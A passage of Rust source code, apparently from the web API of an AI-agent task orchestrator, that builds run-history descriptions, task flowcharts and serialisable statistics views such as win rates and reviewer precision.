6315}
6316
6317/// Describe one entry of a task's run list. Pure: everything it needs is on
6318/// the run and the task, so it is asserted without a server.
6319fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
6320    let RunSlot {
6321        n,
6322        resumed,
6323        resumed_later,
6324        prior,
6325        last,
6326        pass,
6327        settled,
6328        pass_n,
6329        passes_of_run,
6330    } = at;
6331    let short = run::short_of(id).to_owned();
6332    let Some(s) = state else {
6333        return TaskRunView {
6334            activity: None,
6335            n,
6336            id: id.to_owned(),
6337            short,
6338            kind: "unknown",
6339            status: None,
6340            readable: false,
6341            provisional: false,
6342            description:
6343                "This run's record could not be read by this build (written by a different \
6344                          magi, or removed), so what kind of attempt it was is unknown."
6345                    .to_owned(),
6346            outcome: String::new(),
6347            created_at: None,
6348            pr: None,
6349            exit: RunExit::Unreadable,
6350            attempt: AttemptCost::Unknown,
6351            exit_label: RunExit::Unreadable.edge_label(None),
6352            later_pass: resumed_later,
6353            pass_n,
6354            passes_of_run,
6355            pass: None,
6356            branch: None,
6357            badge: None,
6358        };
6359    };
6360    let branch = review_branch_of(&s.instruction);
6361    let kind = if resumed {
6362        "resume"
6363    } else if branch.is_some() {
6364        "review"
6365    } else if task.solo || s.candidates.len() == 1 {
6366        "solo"
6367    } else {
6368        "competition"
6369    };
6370    let mut description = match kind {
6371        "resume" => {
6372            format!("Resumed run {short}: the same run carried on instead of competing again.")
6373        }
6374        "review" => format!(
6375            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
6376            branch.unwrap_or_default()
6377        ),
6378        "solo" => "Solo run: one implementer straight into review.".to_owned(),
6379        _ => format!(
6380            "Competition: {} candidates judged blind.",
6381            s.candidates.len().max(1)
6382        ),
6383    };
6384    if !resumed && let Some((p, st)) = prior {
6385        description.push_str(&format!(
6386            " A retry: run {p} before it ended {}.",
6387            st.display_label()
6388        ));
6389    }
6390
6391    let status = s.status;
6392    let provisional = matches!(status, RunStatus::Stalled)
6393        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6394    let head = if resumed_later.is_some() {
6395        String::new()
6396    } else {
6397        match status {
6398            RunStatus::Merged => "Merged.".to_owned(),
6399            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6400            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6401            RunStatus::AlreadyInBase => {
6402                "Already in the base: this change landed under other commits, nothing was left to land."
6403                    .to_owned()
6404            }
6405            RunStatus::Stalled => {
6406                "Stalled: the judging panel never reached a quorum, so there is no verdict."
6407                    .to_owned()
6408            }
6409            RunStatus::Blocked if s.resource_block.is_some() => format!("Blocked: {}.", s.resource_block.as_ref().unwrap().description()),
6410            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6411            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6412            RunStatus::VerifiedNoop => {
6413                "Verified no-op: the candidates found nothing to change.".to_owned()
6414            }
6415            other if other.done() => format!("Ended {}.", other.display_label()),
6416            other => format!("In progress ({}).", other.display_label()),
6417        }
6418    };
6419    let view = pass.map(|p| PassView::of(p, settled));
6420    let recorded_end = view
6421        .as_ref()
6422        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6423    let cost_words = match view.as_ref().and_then(|v| v.cost) {
6424        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6425        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6426        None => "whether its attempt was handed back was not recorded",
6427    };
6428    let pass_note = if passes_of_run > 1 {
6429        format!(
6430            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6431        )
6432    } else {
6433        String::new()
6434    };
6435    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6436        // The run recorded this pass's end when it happened.
6437        let cause = match v.end {
6438            "parked" => format!("It was stopped on purpose: {}.", v.label),
6439            _ => format!("It {}.", v.label),
6440        };
6441        format!(
6442            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6443            capitalise(cost_words)
6444        )
6445    } else if let Some(k) = resumed_later {
6446        // A run is only picked up again while it is unfinished, so an earlier
6447        // pass of a repeated id stopped short; the record keeps only the run's
6448        // latest status, which is left to the pass that carried it on.
6449        // Only the latest state is recorded: `parked` is cleared on resume
6450        // and `quota` accumulates across passes, so neither says why *this*
6451        // pass stopped, and the refund is as unknown as `AttemptCost` says.
6452        let cause = if s.quota.is_empty() {
6453            "the cause was not recorded: a park, a crash or a restart all look the same from here"
6454        } else {
6455            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6456        };
6457        format!(
6458            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6459        )
6460    } else if s.parked {
6461        match recorded_end.and_then(|v| v.cause.as_ref()) {
6462            Some(cause) => format!(
6463                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6464                cause.label(),
6465                cost_words
6466            ),
6467            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6468                .to_owned(),
6469        }
6470    } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6471        " The machine could not complete this node; no attempt was spent. Restore agent availability and resume the task.".to_owned()
6472    } else if !status.done()
6473        || matches!(
6474            status,
6475            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6476        )
6477    {
6478        String::new()
6479    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6480        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6481    {
6482        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6483            .to_owned()
6484    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6485        " It left a pull request open, so the task was held for a person rather than retried."
6486            .to_owned()
6487    } else if matches!(status, RunStatus::VerifiedNoop) {
6488        " Held for a person to check the claim.".to_owned()
6489    } else if last {
6490        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6491    } else {
6492        " It spent an attempt, and the task moved on to the next run.".to_owned()
6493    };
6494    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6495    let mut attempt = exit.cost();
6496    let mut exit_label = None;
6497    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6498        let spent = match v.cost {
6499            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6500            Some(crate::queue::PassCost::Spent) => ", attempt counted",
6501            None if resumed_later.is_some() => ", refund not recorded",
6502            None => ", attempt refunded",
6503        };
6504        attempt = match v.cost {
6505            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6506            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6507            None if resumed_later.is_some() => AttemptCost::Unknown,
6508            None => attempt,
6509        };
6510        if v.end == "parked" {
6511            exit = RunExit::Parked;
6512            exit_label = Some(match v.cause.as_ref() {
6513                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6514                    format!("parked for {}{spent}", c.label())
6515                }
6516                Some(c) => format!("parked ({}){spent}", c.label()),
6517                None => format!("parked{spent}"),
6518            });
6519        } else {
6520            exit_label = Some(format!("stopped without a recorded cause{spent}"));
6521        }
6522    }
6523    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6524    TaskRunView {
6525        activity: None,
6526        n,
6527        id: id.to_owned(),
6528        short,
6529        kind,
6530        status: Some(status.as_str()),
6531        readable: true,
6532        provisional,
6533        description,
6534        outcome: format!("{head}{why}"),
6535        created_at: Some(s.created_at),
6536        pr: s.pr.as_ref().map(|p| p.url.clone()),
6537        exit,
6538        attempt,
6539        exit_label,
6540        later_pass: resumed_later,
6541        pass_n,
6542        passes_of_run,
6543        pass: view,
6544        branch: branch.map(str::to_owned),
6545        badge: None,
6546    }
6547}
6548
6549fn capitalise(s: &str) -> String {
6550    let mut c = s.chars();
6551    c.next().map_or_else(String::new, |f| {
6552        f.to_uppercase().collect::<String>() + c.as_str()
6553    })
6554}
6555
6556/// One box of the task's flowchart.
6557#[derive(Debug, Serialize, PartialEq)]
6558struct FlowNode {
6559    /// Unique by position: a resumed run id appears once per pass.
6560    key: String,
6561    /// `chat`, `followup`, `start`, `run` or `end`.
6562    kind: &'static str,
6563    label: String,
6564    /// Run status (or the task's, for `end`); `None` when it is not a fact
6565    /// about this box (unreadable, or a pass the run later resumed from).
6566    status: Option<&'static str>,
6567    /// Whose status `status` is, so the client picks the right colour table:
6568    /// `task` (the `followup` parent and `end`) or `run`.
6569    status_of: &'static str,
6570    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
6571    note: Option<&'static str>,
6572    run_kind: Option<&'static str>,
6573    detail: Option<String>,
6574    /// A readable run with a real verdict; a stall never is.
6575    decided: bool,
6576    readable: bool,
6577    href: Option<String>,
6578    /// Overrides `status` as the badge word (`stale` / `superseded`).
6579    badge: Option<String>,
6580    /// Start of this entry, never the run's latest update or pass settlement.
6581    started_at: Option<Timestamp>,
6582    /// Context links (chat / follow-up) do not represent execution entries.
6583    time_expected: bool,
6584}
6585
6586#[derive(Debug, Serialize, PartialEq)]
6587struct FlowEdge {
6588    from: String,
6589    to: String,
6590    label: String,
6591    attempt: AttemptCost,
6592}
6593
6594#[derive(Debug, Serialize, PartialEq)]
6595struct FlowView {
6596    nodes: Vec<FlowNode>,
6597    edges: Vec<FlowEdge>,
6598    /// Attempts the task has counted since it was last released.
6599    attempts: usize,
6600    max_attempts: usize,
6601    /// Entries in the run list (passes), and how many distinct runs they are.
6602    /// Neither is the number of attempts consumed.
6603    passes: usize,
6604    runs: usize,
6605}
6606
6607/// Turn a task and its described runs into the flowchart's boxes and arrows.
6608/// Pure: the page only draws what this returns.
6609///
6610/// A follow-up opens with its parent (or the merged run) unless the task's
6611/// *source* is itself a chat, in which case the chat stays first and the
6612/// follow-up node comes second. An inherited `Task::origin_chat` alone never
6613/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
6614/// two normally do not coincide and the nearer origin wins.
6615fn task_flow(
6616    task: &Task,
6617    history: &[TaskRunView],
6618    max_attempts: usize,
6619    origin: Option<&FollowUpOrigin>,
6620) -> FlowView {
6621    let max_attempts = task.effective_attempt_limit(max_attempts);
6622    let node = |key: &str, kind, label: String| FlowNode {
6623        key: key.to_owned(),
6624        kind,
6625        label,
6626        status: None,
6627        status_of: "run",
6628        note: None,
6629        run_kind: None,
6630        detail: None,
6631        decided: false,
6632        readable: true,
6633        href: None,
6634        badge: None,
6635        started_at: None,
6636        time_expected: matches!(kind, "start" | "run" | "end"),
6637    };
6638    let mut nodes = Vec::new();
6639    let mut edges: Vec<FlowEdge> = Vec::new();
6640    // A task queued from a chat opens the flow with that conversation.
6641    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6642        let mut n = node(
6643            "chat",
6644            "chat",
6645            format!("Chat {}", crate::queue::short(&link.id)),
6646        );
6647        n.href = Some(link.href);
6648        nodes.push(n);
6649        edges.push(FlowEdge {
6650            from: "chat".to_owned(),
6651            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6652            label: "queued from chat".to_owned(),
6653            attempt: AttemptCost::None,
6654        });
6655    }
6656    if let Some(o) = origin {
6657        let mut n = match &o.parent {
6658            Some(p) => {
6659                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6660                n.status = Some(p.status);
6661                n.status_of = "task";
6662                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6663                n.href = Some(p.href.clone());
6664                n
6665            }
6666            None => {
6667                let mut n = node(
6668                    "origin",
6669                    "followup",
6670                    format!("Follow-up of run {}", o.run.short),
6671                );
6672                n.detail = Some("merged run".to_owned());
6673                n.status = o.run.status;
6674                n.href = o.run.href.clone();
6675                if o.run.href.is_none() {
6676                    n.readable = false;
6677                    n.note = Some("unreadable");
6678                }
6679                n
6680            }
6681        };
6682        n.decided = true;
6683        let from = n.key.clone();
6684        nodes.push(n);
6685        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6686        let more = o.findings.len().saturating_sub(shown.len());
6687        let label = match (shown.is_empty(), more) {
6688            (true, _) => "open findings".to_owned(),
6689            (false, 0) => format!("open findings {}", shown.join(", ")),
6690            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6691        };
6692        edges.push(FlowEdge {
6693            from,
6694            to: "start".to_owned(),
6695            label,
6696            attempt: AttemptCost::None,
6697        });
6698    }
6699    let mut start = node("start", "start", "Task queued".to_owned());
6700    start.started_at = Some(task.created_at);
6701    nodes.push(start);
6702    let mut prev = "start".to_owned();
6703    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6704    for (i, h) in history.iter().enumerate() {
6705        let key = format!("run-{}", h.n);
6706        let mut n = node(&key, "run", format!("Run {}", h.short));
6707        // Creation marks only the first pass of legacy runs. A resumed pass
6708        // without a record must not inherit the original run's start time.
6709        n.started_at = h
6710            .readable
6711            .then(|| {
6712                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6713                    h.created_at
6714                } else {
6715                    None
6716                })
6717            })
6718            .flatten();
6719        n.run_kind = Some(h.kind);
6720        n.readable = h.readable;
6721        n.href = Some(format!("#/runs/{}", h.id));
6722        n.decided = h.readable && !h.provisional;
6723        n.detail = h
6724            .branch
6725            .as_ref()
6726            .map(|b| format!("review-only run of branch {b}"));
6727        match h.exit {
6728            RunExit::Unreadable => n.note = Some("unreadable"),
6729            RunExit::Interrupted => n.note = Some("interrupted"),
6730            // An earlier pass the run recorded as parked: the status shown
6731            // would be the run's current one, not this pass's.
6732            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6733            _ => {
6734                n.status = h.status;
6735                n.badge = h.badge.clone();
6736                if h.provisional {
6737                    n.note = Some("no verdict");
6738                }
6739            }
6740        }
6741        let into = match h.kind {
6742            "review" => Some(format!(
6743                "review-only run of branch {}",
6744                h.branch.as_deref().unwrap_or("?")
6745            )),
6746            "resume" => Some("resume the same run".to_owned()),
6747            _ if i > 0 => Some("retry".to_owned()),
6748            _ => None,
6749        };
6750        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6751        let label = match (prev_exit, into) {
6752            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6753            (Some((_, l, _)), None) => l,
6754            (None, Some(i)) => i,
6755            (None, None) => "claimed".to_owned(),
6756        };
6757        edges.push(FlowEdge {
6758            from: prev.clone(),
6759            to: key.clone(),
6760            label,
6761            attempt,
6762        });
6763        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6764        prev = key;
6765        nodes.push(n);
6766    }
6767    let mut end = node("end", "end", task.status.as_str().to_owned());
6768    end.status = Some(task.status.as_str());
6769    end.status_of = "task";
6770    // Other task states do not persist their transition start. In particular,
6771    // blocked_at can change while the task remains blocked.
6772    if task.status == TaskStatus::Held {
6773        end.started_at = task.held_at;
6774    }
6775    nodes.push(end);
6776    let (label, attempt) = match prev_exit {
6777        None => (
6778            format!("no run yet \u{2192} {}", task.status.as_str()),
6779            AttemptCost::None,
6780        ),
6781        Some((e, l, cost)) if e.explains(task.status) => {
6782            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6783        }
6784        Some((_, _, cost)) => (
6785            format!("closed by hand: task is {}", task.status.as_str()),
6786            cost,
6787        ),
6788    };
6789    edges.push(FlowEdge {
6790        from: prev,
6791        to: "end".to_owned(),
6792        label,
6793        attempt,
6794    });
6795    FlowView {
6796        nodes,
6797        edges,
6798        attempts: task.attempts,
6799        max_attempts,
6800        passes: history.len(),
6801        runs: distinct_runs(&task.runs),
6802    }
6803}
6804
6805/// How many different run ids a task's run list names.
6806fn distinct_runs(runs: &[String]) -> usize {
6807    let mut seen: Vec<&str> = Vec::new();
6808    for r in runs {
6809        if !seen.contains(&r.as_str()) {
6810            seen.push(r);
6811        }
6812    }
6813    seen.len()
6814}
6815
6816/// Describe recorded task passes, retaining unrecorded legacy list entries.
6817fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6818    let mut slots = Vec::new();
6819    let mut seen = Vec::new();
6820    for run_id in &task.runs {
6821        if seen.contains(&run_id) {
6822            continue;
6823        }
6824        seen.push(run_id);
6825        let state = read(run_id);
6826        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6827            s.passes
6828                .iter()
6829                .filter(|p| {
6830                    p.task_entry
6831                        || task
6832                            .passes
6833                            .iter()
6834                            .any(|t| t.run == *run_id && t.pass_index == p.index)
6835                })
6836                .cloned()
6837                .collect()
6838        });
6839        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6840        let total = legacy_count.max(mine.len());
6841        let offset = total - mine.len();
6842        for k in 0..total {
6843            // Legacy repeated entries retain their original positions. When
6844            // ids are unique, recorded pass times recover the resume order.
6845            let position = task
6846                .runs
6847                .iter()
6848                .enumerate()
6849                .filter(|(_, r)| *r == run_id)
6850                .nth(k.min(legacy_count - 1))
6851                .unwrap()
6852                .0;
6853            slots.push((
6854                run_id,
6855                state.clone(),
6856                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6857                position,
6858            ));
6859        }
6860    }
6861    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6862        slots.sort_by_key(|(_, state, pass, _)| {
6863            pass.as_ref()
6864                .map(|p| p.started_at)
6865                .or_else(|| state.as_ref().map(|s| s.created_at))
6866                .map_or((true, task.created_at), |at| (false, at))
6867        });
6868    } else {
6869        slots.sort_by_key(|(_, _, _, position)| *position);
6870    }
6871    let mut history = Vec::with_capacity(slots.len());
6872    let mut seen: Vec<&str> = Vec::new();
6873    let mut prior: Option<(&str, RunStatus)> = None;
6874    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6875        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6876        let resumed = k > 0;
6877        seen.push(run_id);
6878        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6879        let pass = pass.as_ref();
6880        let settled = pass.and_then(|p| {
6881            task.passes
6882                .iter()
6883                .find(|t| t.run == **run_id && t.pass_index == p.index)
6884        });
6885        history.push(task_run_view(
6886            run_id,
6887            state.as_ref(),
6888            RunSlot {
6889                n: i + 1,
6890                resumed,
6891                resumed_later: slots[i + 1..]
6892                    .iter()
6893                    .position(|(id, _, _, _)| id == run_id)
6894                    .map(|off| i + off + 2),
6895                prior,
6896                last: i + 1 == slots.len(),
6897                pass,
6898                settled,
6899                pass_n: k + 1,
6900                passes_of_run: total,
6901            },
6902            task,
6903        ));
6904        if let Some(s) = &state {
6905            prior = Some((run::short_of(run_id), s.status));
6906        }
6907    }
6908    history
6909}
6910
6911/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
6912/// An earlier pass of a resumed run keeps no badge (it has no status box).
6913fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6914    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6915        return;
6916    }
6917    let (_, claimed, _) = run_row_inputs(ui);
6918    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6919    for h in history
6920        .iter_mut()
6921        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6922    {
6923        let Ok(state) = read_run(&ui.runs, &h.id) else {
6924            continue;
6925        };
6926        if state.status.done() {
6927            continue;
6928        }
6929        let live = state.liveness_with(
6930            claimed.contains(&h.id),
6931            |p| probe.borrow_mut().status(p),
6932            |p| probe.borrow_mut().started_at(p),
6933        );
6934        let waiting = !ui.questions.open_for(&h.id).is_empty();
6935        h.activity = Some(crate::run_progress::activity(&state, live, waiting));
6936        let display = run_display_status(&state, waiting, live);
6937        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6938        if matches!(word.as_str(), "stale" | "superseded")
6939            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6940        {
6941            h.badge = Some(word);
6942        }
6943    }
6944}
6945
6946async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6947    blocking(move || {
6948        let id = resolve_task(&ui.queue, &id)?;
6949        Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6950    })
6951    .await
6952}
6953
6954async fn task_detail(
6955    State(ui): State<Arc<Ui>>,
6956    Path(id): Path<String>,
6957) -> ApiResult<Json<TaskDetailView>> {
6958    blocking(move || {
6959        let id = resolve_task(&ui.queue, &id)?;
6960        let task = ui
6961            .queue
6962            .get(&id)
6963            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6964        let inv = if task.status == TaskStatus::Blocked {
6965            Some(crate::blockers::Inventory::load_for(
6966                &ui.queue,
6967                &ui.questions,
6968                &task,
6969            ))
6970        } else {
6971            None
6972        };
6973        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6974        mark_badges(&ui, &task, &mut history);
6975        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6976        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6977        let origin = task.followup.as_ref().map(|fu| {
6978            followup_origin(
6979                fu,
6980                |tid| ui.queue.get(tid).ok(),
6981                |rid| read_run(&ui.runs, rid).ok(),
6982            )
6983        });
6984        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6985        let task_view = match inv.as_ref() {
6986            Some(inv) => TaskView::with_inventory(task, inv),
6987            None => TaskView::from(task),
6988        }
6989        .with_recovery_decisions(&ui.questions);
6990        Ok(Json(TaskDetailView {
6991            max_attempts,
6992            flow,
6993            followup_origin: origin,
6994            passes_total: history.len(),
6995            runs_distinct: distinct_runs(&task_view.task.runs),
6996            history,
6997            runs_unreadable,
6998            attempts_note: ATTEMPTS_NOTE,
6999            task: task_view,
7000        }))
7001    })
7002    .await
7003}
7004
7005/// A rate together with its denominator, so the client can tell "computed as
7006/// 0%" apart from "no data to compute it from" — both would otherwise
7007/// serialize as `0.0`. `None` means the denominator was zero.
7008#[derive(Debug, Serialize)]
7009struct RateView {
7010    pct: f64,
7011    denominator: usize,
7012}
7013
7014impl RateView {
7015    fn of(numerator: usize, denominator: usize) -> Option<Self> {
7016        (denominator > 0).then(|| Self {
7017            pct: 100.0 * numerator as f64 / denominator as f64,
7018            denominator,
7019        })
7020    }
7021}
7022
7023/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
7024/// rates, each paired with its own denominator via [`RateView`] rather than
7025/// exposing `Stats`' own percentage methods directly — see this module's
7026/// doc for why `Stats` itself is never serialized.
7027#[derive(Debug, Serialize)]
7028struct StatsTotalsView {
7029    runs: usize,
7030    merged: usize,
7031    ready: usize,
7032    blocked: usize,
7033    failed: usize,
7034    stalled: usize,
7035    verified_noop: usize,
7036    superseded: usize,
7037    in_progress: usize,
7038    completion_rate: Option<RateView>,
7039    tallied: usize,
7040    split: usize,
7041    split_rate: Option<RateView>,
7042    deliberated: usize,
7043    minds_changed: usize,
7044    converged: usize,
7045    review_rounds: usize,
7046}
7047
7048impl From<&stats::Totals> for StatsTotalsView {
7049    fn from(t: &stats::Totals) -> Self {
7050        Self {
7051            runs: t.runs,
7052            merged: t.merged,
7053            ready: t.ready,
7054            blocked: t.blocked,
7055            failed: t.failed,
7056            stalled: t.stalled,
7057            verified_noop: t.verified_noop,
7058            superseded: t.superseded,
7059            in_progress: t.in_progress,
7060            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7061            tallied: t.tallied,
7062            split: t.split,
7063            split_rate: RateView::of(t.split, t.tallied),
7064            deliberated: t.deliberated,
7065            minds_changed: t.minds_changed,
7066            converged: t.converged,
7067            review_rounds: t.review_rounds,
7068        }
7069    }
7070}
7071
7072/// [`crate::stats::AgentStats`] for the wire.
7073#[derive(Debug, Serialize)]
7074struct AgentStatsView {
7075    agent: String,
7076    entered: usize,
7077    wins: usize,
7078    empty: usize,
7079    win_rate: Option<RateView>,
7080    competitive_entered: usize,
7081    competitive_wins: usize,
7082    competitive_win_rate: Option<RateView>,
7083    solo_entered: usize,
7084    solo_adopted: usize,
7085    solo_adoption_rate: Option<RateView>,
7086}
7087
7088impl From<&stats::AgentStats> for AgentStatsView {
7089    fn from(a: &stats::AgentStats) -> Self {
7090        Self {
7091            agent: a.agent.clone(),
7092            entered: a.entered,
7093            wins: a.wins,
7094            empty: a.empty,
7095            win_rate: RateView::of(a.wins, a.entered),
7096            competitive_entered: a.competitive_entered,
7097            competitive_wins: a.competitive_wins,
7098            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
7099            solo_entered: a.solo_entered,
7100            solo_adopted: a.solo_adopted,
7101            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
7102        }
7103    }
7104}
7105
7106/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
7107/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
7108/// value, `None` when `rounds` is zero.
7109#[derive(Debug, Serialize)]
7110struct ReviewerStatsView {
7111    agent: String,
7112    rounds: usize,
7113    seated: usize,
7114    submitted: usize,
7115    adopted: usize,
7116    unique: usize,
7117    timeouts: usize,
7118    adopted_per_round: Option<f64>,
7119    precision: Option<RateView>,
7120    unique_rate: Option<RateView>,
7121    timeout_rate: Option<RateView>,
7122}
7123
7124impl From<&stats::ReviewerStats> for ReviewerStatsView {
7125    fn from(r: &stats::ReviewerStats) -> Self {
7126        Self {
7127            agent: r.agent.clone(),
7128            rounds: r.rounds,
7129            seated: r.seated,
7130            submitted: r.submitted,
7131            adopted: r.adopted,
7132            unique: r.unique,
7133            timeouts: r.timeouts,
7134            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
7135            precision: RateView::of(r.adopted, r.submitted),
7136            unique_rate: RateView::of(r.unique, r.submitted),
7137            timeout_rate: RateView::of(r.timeouts, r.seated),
7138        }
7139    }
7140}
7141
7142/// [`crate::stats::AdvisorStats`] for the wire.
7143///
7144/// `reflection_rate` is approximate by construction — see
7145/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
7146/// that caveat is static text in `index.html`, not a field here.
7147#[derive(Debug, Serialize)]
7148struct AdvisorStatsView {
7149    agent: String,
7150    seated: usize,
7151    proposed: usize,
7152    absent: usize,
7153    faint: usize,
7154    strong: usize,
7155    reflection_rate: Option<RateView>,
7156}
7157
7158impl From<&stats::AdvisorStats> for AdvisorStatsView {
7159    fn from(a: &stats::AdvisorStats) -> Self {
7160        Self {
7161            agent: a.agent.clone(),
7162            seated: a.seated,
7163            proposed: a.proposed,
7164            absent: a.absent,
7165            faint: a.faint,
7166            strong: a.strong,
7167            reflection_rate: RateView::of(a.strong, a.proposed),
7168        }
7169    }
7170}
7171
7172/// [`crate::stats::E2eStats`] for the wire.
7173#[derive(Debug, Serialize)]
7174struct E2eStatsView {
7175    rounds: usize,
7176    failures: usize,
7177    sole_detections: usize,
7178    deferred: usize,
7179    sole_rate: Option<RateView>,
7180}
7181
7182impl From<&stats::E2eStats> for E2eStatsView {
7183    fn from(e: &stats::E2eStats) -> Self {
7184        Self {
7185            rounds: e.rounds,
7186            failures: e.failures,
7187            sole_detections: e.sole_detections,
7188            deferred: e.deferred,
7189            sole_rate: RateView::of(e.sole_detections, e.failures),
7190        }
7191    }
7192}
7193
7194/// [`crate::stats::ReleaseBumpStats`] for the wire.
7195///
7196/// `clean` is sent as a raw count, computed the same way
7197/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
7198/// needs_attention`) — never derived client-side from `automerge_enabled`,
7199/// which would misclassify a `merged_directly` bump (automerge rejected, but
7200/// magi merged it directly, so no human involvement) as needing attention.
7201#[derive(Debug, Serialize)]
7202struct ReleaseBumpStatsView {
7203    merged: usize,
7204    recorded: usize,
7205    pr_opened: usize,
7206    automerge_enabled: usize,
7207    merged_directly: usize,
7208    needs_attention: usize,
7209    clean: usize,
7210    coverage_rate: Option<RateView>,
7211    automerge_rate: Option<RateView>,
7212    attention_rate: Option<RateView>,
7213}
7214
7215impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
7216    fn from(b: &stats::ReleaseBumpStats) -> Self {
7217        Self {
7218            merged: b.merged,
7219            recorded: b.recorded,
7220            pr_opened: b.pr_opened,
7221            automerge_enabled: b.automerge_enabled,
7222            merged_directly: b.merged_directly,
7223            needs_attention: b.needs_attention,
7224            clean: b.clean(),
7225            coverage_rate: RateView::of(b.recorded, b.merged),
7226            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
7227            attention_rate: RateView::of(b.needs_attention, b.recorded),
7228        }
7229    }
7230}
7231
7232/// [`crate::queue::TaskCounts`] for the wire.
7233#[derive(Debug, Serialize)]
7234struct TaskCountsView {
7235    queued: usize,
7236    running: usize,
7237    done: usize,
7238    failed: usize,
7239    held: usize,
7240    blocked: usize,
7241    parked: usize,
7242}
7243
7244impl From<crate::queue::TaskCounts> for TaskCountsView {
7245    fn from(c: crate::queue::TaskCounts) -> Self {
7246        Self {
7247            queued: c.queued,
7248            running: c.running,
7249            done: c.done,
7250            failed: c.failed,
7251            held: c.held,
7252            blocked: c.blocked,
7253            parked: c.parked,
7254        }
7255    }
7256}
7257
7258/// [`crate::stats::RepoStats`] for the wire, one row per repository with
7259/// runs recorded — the summary the UI's repository selector is built from.
7260/// Carries no nested `Stats`: picking a repo means re-fetching
7261/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
7262/// aggregation rather than duplicating it.
7263#[derive(Debug, Serialize)]
7264struct RepoSummaryView {
7265    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
7266    /// against, full path and all (see [`stats_get`]'s own doc for why).
7267    repo: String,
7268    /// Display name only; never used for matching.
7269    name: String,
7270    runs: usize,
7271    completion_rate: Option<RateView>,
7272}
